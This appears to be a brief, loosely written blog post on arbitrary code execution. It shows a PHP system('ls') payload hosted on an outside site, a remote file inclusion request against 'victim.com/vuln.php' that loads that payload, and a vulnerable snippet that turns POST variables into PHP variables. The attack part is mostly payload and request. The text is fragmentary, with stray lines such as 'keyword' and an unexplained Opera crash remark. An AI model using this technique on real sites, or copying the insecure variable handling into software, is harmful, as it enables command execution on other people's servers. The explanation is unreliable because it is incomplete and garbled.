Arbitrary Code Execution

hm.. Arbitrary Code Execution

create malicious code in software like use ldd exploit or malicious function like libc mySQL

execute command on website
example :

< ?php system('ls'); exit; ? >

http://alko.web.id/example.txt

http://victim.com/vuln.php?path=http%3A%2F%2Falko.web.id%2Fexample.txt%3F

coz

if ($HTTP_POST_VARS) {
foreach ($HTTP_POST_VARS as $var => $value) {
$$var = $value;
}
}

not usually get profit like crash Opera 10.01 almost

keyword